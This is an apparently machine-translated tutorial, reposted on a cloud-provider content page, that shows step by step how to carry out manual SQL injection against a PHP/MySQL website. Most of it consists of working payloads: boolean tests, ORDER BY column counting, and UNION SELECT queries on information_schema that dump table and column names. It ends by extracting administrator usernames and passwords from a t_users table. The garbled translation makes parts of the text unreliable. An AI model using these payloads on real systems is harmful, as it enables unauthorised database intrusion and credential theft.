Php + mysql manual injection tutorial

Source: Internet
Author: User

Php + mysql manual injection tutorial
Injection point: xxxxxxx and1 = 1 returned correct and1 = 2 returned error description injection point + order + by + 11 correct regret + order + by + 12 returned error


It indicates that there are 11 fields + union + select + 1, 2, 4, 5, 6, 7, 8, 9, 10, 11. I can see that it is-13, which enables him to report an error or use and 1 = 2 to report an error.

User () Database username Version () Database Version Database () currently used Database name + union + select + 1, user (), Version (),

5.0 instructions: You can directly query tables + union + select +, unhex (hex (GROUP_CONCAT (table_name, 10, 11 + from + information_schema.tables + where + table_schema = Database () directly burst the table

Ad_play, banner, baozhi, baozhi_class, flood, cdowns, chengyuan, downs, fuwu, guanyu, guanzhu, jobs, language, link, liuyan, Baidu, member, news, news_class, province, renli, store, store_class, store_class2, store_class3, t_china_class, t_china_store, t_lianxi, t_sts, t_users, t_world_class, t_world_store, video, example, word, works, example, example, zazhi, example, zazhidowns has a t_users which should be the storage administrator's first to convert t_users to hex burst columns: + union + select + 1, 2, 3, 4, unhex (hex (GROUP_CONCAT (column_name), 6, 7, 8, 9, 10, 11 + from + information_schema.columns + where + table_name = 0x745F7573657273

Then we query the + union + select + 1, 2, 3, 4, concat (0x3a, t_name, 0x3a, t_pass), 6, 7, 8, 9, 10, 11 + from + t_users

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.